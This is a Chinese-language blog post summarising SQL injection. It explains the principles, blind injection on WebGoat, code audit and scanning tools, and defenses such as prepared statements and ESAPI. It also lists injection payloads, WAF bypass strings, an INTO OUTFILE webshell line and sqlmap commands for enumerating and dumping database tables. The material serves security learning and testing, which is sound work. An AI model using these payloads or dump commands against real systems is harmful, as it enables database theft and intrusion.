Sql注入的大名在今天IT界可谓如雷贯耳,距离1998年第一次为公众所知以来已经过去20年,但是依然有一些网站、系统存在这样的问题,看看近期的数据泄露就知道了。
作为注入(Injection)的一种,常年占据Owasp Top 10 榜首。
漏洞本身的原理其实很简单:
// sql语句
Select [列名/ *] from [表名]
Where [条件]
Group by[列名| 表达式]
Order by [列名| 表名| 位置] ASC/DEC
// sql查询语句,拼接用户输入(userName),正常/小白用户输入用户名(abc)当然没有任何问题
select * from users where name = '" + userName + "'
// 恶意用户输入 abc' or '1'='1 , 单引号阻断原有语句,增加永真条件,查询结果就完全不一样了。
select * from users where name = 'abc' or '1'='1'
上面代码简单说明了其原理,当然真实环境下语句可能千差万别,参数也可能是数字型,语句可能是插入、更新或者存储过程。
注入代码执行后,在前端有回显,比如错误信息、查询结果等,可以方便的进行注入是否存在的判断以及利用。如下图
输入一个单引号提示错误信息与单引号+注释符的提示信息是不同的。实际中,会有sql报错信息直接返回。
当Web服务器关闭错误回显,对于攻击者来说就缺少重要的“调试信息”,这时候就需要盲注的方法验证注入的Sql语句是否得到执行。盲注分为布尔型、时间型盲注,分别通过布尔值及时间函数导致的响应时间进行判断。
看下webgoat例子,注册用户,提交信息后先查询用户是否存在,然后进行返回。
先注册一个test01用户。
使用test01' and '1'='2 进行注册,test01已存在,正常逻辑下提示用户已存在,如果语句注入并执行,提示创建成功。
使用test02' or '1'='1进行注册,test02用户是不存在的,应该是提示创建成功,如果语句注入并执行,应该提示用户存在。
从结果看,可以验证我们的猜想,这里属于布尔型盲注。基于时间的盲注类似,只是验证是通过响应时间长短(时间型函数或复杂计算)。
比如在登录时,注入使得查询恒真,绕过登录验证。前文中注册的例子,也是绕过已有用户查询的验证。
这种情况比较基础,不过也比较少见了。出了在靶机、漏洞演练环境,基本没见过。
由于可注入并执行sql语句,通过sql数据库一些内置表,逐步进行表、字段、记录的猜解,完成数据库拖库。
手工的相对比较耗时,通过工具(sqlmap)会简单很多。不多说,谁用谁知道。
通过 into out_file写入恶意代码,前端访问文件并通过预留参数执行命令(cd工具),实现webshell后门。
前提:
数据库运行账号有写入文件权限;
文件写入路径,web应用可读取并解析;
select “”,2,3 INTO OUTFILE ‘/var/www/test/index1.php’
白盒进行代码扫描,比较知名的工具HP Fortify、Synopsys Coverity、Checkmarx,当然还有360等国内厂商出的工具,详细可以自行一下。
静态代码扫描,主要是通过模式匹配、控制流规则、数据流规则、语义规则在编译阶段通过词法语法分析进行问题识别。Fortify用的比较多,它是通过识别数据进入点、跟踪数据处理、最终在sql执行时进行sink规则匹配,从而判定是否存在sql注入。检查Sql注入误报较多,尤其mybatis、ibatis框架$符问题。
当然,这部分误报可通过分析进行屏蔽,也可以自定义规则实现误报消除。
工具在效率方面有很大的优势,并能够结合IED插件、Jenkins插件等实现快速扫描,提早发现并解决问题,适配敏捷&Devops快速交付、快速迭代需求。
手工代码审计,可以自上而下逐一定位分析,也可以自下而上搜索、分析。
自上而下,从前端功能开始,抓包获取请求地址、参数,分析web.xml中全局处理(查看是否有全局校验、过滤),然后通过path定位到具体的处理代码,跟踪参数传递过程及处理,最终到sql执行,通过分析参数是否来源于不可信外部输入、参数是否经过有效的过滤、校验,确认是否存在sql注入问题。
自下而上,搜索源码中sql执行的点,逐步向上跟踪参数处理及传递(代码调用)过程,分析参数是否来源于不可信外部输入、参数是否进行了有效的过滤、校验处理,确认是否存在sql注入风险。
可能还有其他方式,不过笔者仅试过这两种。两种方式各有优缺,自上而下可明确分析某个请求是否存在sql注入,目的性较为明确;自下而上方式没有明确的目标,但可以直击要害,不容易遗漏。当然,两种方式都有很大的工作量,并需要对主流框架、开发语言、校验处理较为熟悉。
实际工作中,会结合工具、两种方式一起进行审计,提高效率。
下面是常见的sql执行关键字。
// Mybatis $ 字符拼接
${var}
//iBatis $$字符拼接
$var$
// Java
java.sql.Statement.executeQuery,
java.sql.Statement.executeUpdate
java.sql.preparedStatement
PreparedStatement .executeQuery()
//Hibernate
createSQLQuery/createQuery
select update insert delete
//.NET
System.Date.SqlClient
ExecuteNonQuery, ExcuteReader, ExecuteScalar
//PHP
mysql_query($sql, $con)
和白盒类似,黑盒也有很多web漏扫扫描器,比如Webinspect、AppScan、AWVS、Burpsuite,都支持sql注入扫描。当然还有针对Sql注入的工具Sqlmap、Havij、Pangolin等。原理都类似,抓取正常请求后,对参数进行修改(注入预定义payload)后请求并对比响应结果,判定是否存在sql注入问题。当然,工具扫描逃不开误报、漏报的问题,视情况取舍。
看下Burp截图。
关于商用工具扫描,需要注意几点:
1. 使用会话扫描,避免遗漏url
2. 对系统进行全量探测(手工),提供完整的url及参数给工具进行分析,避免遗漏;webinspect、appscan 都支持手工探测方式录制请求。
手工挖掘sql注入,依赖渗透人员的经验、思路、漏洞敏感度,但是同样也有一些技巧可循。
理论上来说,所有和后端有交互的地方,都有可能存在sql注入。
常见的场景,部分笔者遇到过,部分从遇到过:
1. http 头部,x-forward-for,cookie信息,user-agent,referer
2. http get请求,url参数
3. 注册、登录、查询等输入框
4. 列表排序功能
5. 下拉输入框(选择预定的值)
6. Portal页面feedback功能,可能会先查询是否重复在进行插入,类似webgoat 盲注(注册)案例
一些绕过技巧,可能对于现在waf都已无效,做个思路扩展还是可以。
// 1. 大小写绕过
http://example/index.php?id=1 uNIoN sELecT 1 from user --
// 2. 注释绕过
Sel/*abc*/ect * from table where xxx
/!*select*/ * from table where
// 3. 编码绕过 url编码、base64、hex转码等
/*!u%6eion*/ /*!se%6cect*/
select * from users where username = 0x7465737431;
// 4. 重复关键字绕过,针对关键字过滤的情况
SELselectECT * from table xxxxxx
// 5. 空格绕过
mysql 可使用+,其他比如
两个空格、()、回车(url %0a)、tap
// 6. 宽字符绕过,针对GBK编码,通过\进行转义的情况
%5C%27=\'
%bf%27 %df%27 %aa%27
%df\’ = %df%5c%27=縗’
// 7. 过滤逗号
select substr("string" from 1 for 3)
详细可以参考连接,总结了很多
https://blog.csdn.net/huanghelouzi/article/details/82995313
下面是多年前总结的特殊字符和关键字,见笑了。
字符 |
说明 |
Mysql |
Oralce |
‘ |
字符注入,参数使用引号闭合; |
Select * from table where a=’a’; |
|
‘’ |
第一个单引号作为转义,达到单引号效果; |
|
|
, |
SQL语句字段分隔,函数参数分隔; |
Select a,b from table where a=’a’; |
|
=<> |
|
Select * from table where a<>1; |
|
() |
闭合语句,函数,构造表达式 |
Select * from table where a=(ASCII(‘A’)) and length(subtr(‘abc’,1,1))>1 Insert into table(a,b,c,d) values(1,1,1,1) |
|
注释 |
注释语句,使注入后方SQL不执行,避免SQL报错 |
-- 双减号后面有空格 Select * from a; insert xxx xx -- # 注释到行结束 Select * from a; insert xxx xx # /**/ 多行注释,用于关键字被过滤时绕过 Sel/*abc*/ect * from table where xxx |
-- Select * from a; insert xxx xx -- /**/ 多行注释,用于关键字被过滤时绕过
|
+ |
|
Mysql用户空格占位 Select+a+from+table |
|
关键字 |
说明 |
Mysql |
Oralce |
|
布尔运算 |
条件表达式构造 |
Where 1=1 Where 1=2 |
||
Order by |
排序,结构性注入; 猜查询列数,使用数字1,2,3表示第一列,第二列,,, |
Select * from table where a=’a’ or 1=1 order by 1 |
||
Union |
行合并,联合查询,猜查询列数,字段类型,信息显示 |
Select * from table where a=’a’ union select 1,1,1,null Mysql 可不带from |
Select * from table where a=’a’ union selct 1,1,1,1 from dual Oracle可使用全局访问表dual |
|
休眠/等待 |
基于时间的盲注 |
Benchmark(count exp) Sleep() Waitfor() |
|
|
字符操作 |
Length Substr ASCII |
长度判断 字符串截取,配合ASCII进行逐字符猜解 |
||
拖库 |
通过注入payload,获取整个数据库中数据,sqlmap谁用谁知道 |
User, version, database, show databases 元数据表: Information_schema.columns, Inforamtion_shcema.tables |
Select user from dual; Sys_context(‘USERENV’,’SESSION_US’) Select banner from v$version Select table_name, column_name from all_table_columns 元数据表:dual All_tab_columns User_object All_tables |
实际上,除了黑盒或白盒的方法,还有灰盒测试,结合代码、应用、工具扫描等手段进行漏洞检测。
在企业安全团队,可能蓝军团队会纯黑盒进行检测,模拟外部黑客、白帽的攻击场景;红军团队一般会结合白盒、黑盒进行检测(灰盒),保证发现所有问题,避免漏洞同时兼顾效率。
PreparedStatement statement = connection.prepareStatement("select password from " + USERS_TABLE_NAME + " where userid = ? and password = ?");
statement.setString(1, username_login);
statement.setString(2, password_login);
ResultSet resultSet = statement.executeQuery();
包括数据类型、特殊字符等;由于过滤不全可能导致绕过,所以才有五花八门的绕过技巧。
推荐使用安全的过滤函数,如OWASP ESAPI
ESAPI.encoder().encodeForSQL(new OracleCodec(),queryparam);
数据库运行账号取消文件读写权限,避免存在注入导致webshell。
同时,对web应用运行账号权限进行限制,读写目录等。
类似预编译,不过需要预先编写procedure,发布、维护上相对麻烦。目前没遇到过使用存储过程来做sql注入防护,大多是通过存储过程进行复杂的查询、 运算、数据操作等。
严格来说,这一条不算直接防御sql注入。数据加密后存储,发生泄露时可在一定程度减小影响,增加数据破解成本,算是对其他失效控制措施的补充。目前大多数站点、系统对用户密码进行单向hash后存储。
简介就不用了,总之很强大。
资源如下:
// git 库,clone本地使用
https://github.com/sqlmapproject/sqlmap
// python2环境,pip安装
pip install sqlmap
// gui 工具 可参考
https://www.freebuf.com/sectool/260.html
常用语句、参数。其他介绍,看帮助文档(-h),一个h不行,那就两个(-hh)
// 指定db类型,指定参数注入
sqlmap -u xxx.com/index.html?id=1 --dbms mysql -p id
// level默认1, 2以上会查看cookie、user-agent
// risk, 默认1, 2、3可能对 数据库造成影响
sqlmap -u xxx.com/index.htmlid=1 --level=1 --risk=1
// -r 指定文件 --table枚举表
sqlmap -r changesql.txt --tables --no-cast --threads 5
// 枚举列,-T 指定表名
sqlmap -r changesql.txt --columns -T employee --threads 5
// --dump 导出表内容
sqlmap -r changesql.txt --dump -T employee --threads 5
注:本文仅作为个人总结,重在思路及工作经验记录。转载请注明。
参考:
《白帽子web安全》
https://cloud.tencent.com/developer/news/257713
http://www.xianxianlabs.com/2018/06/03/webgoat1/#Stage5
https://blog.csdn.net/huanghelouzi/article/details/82995313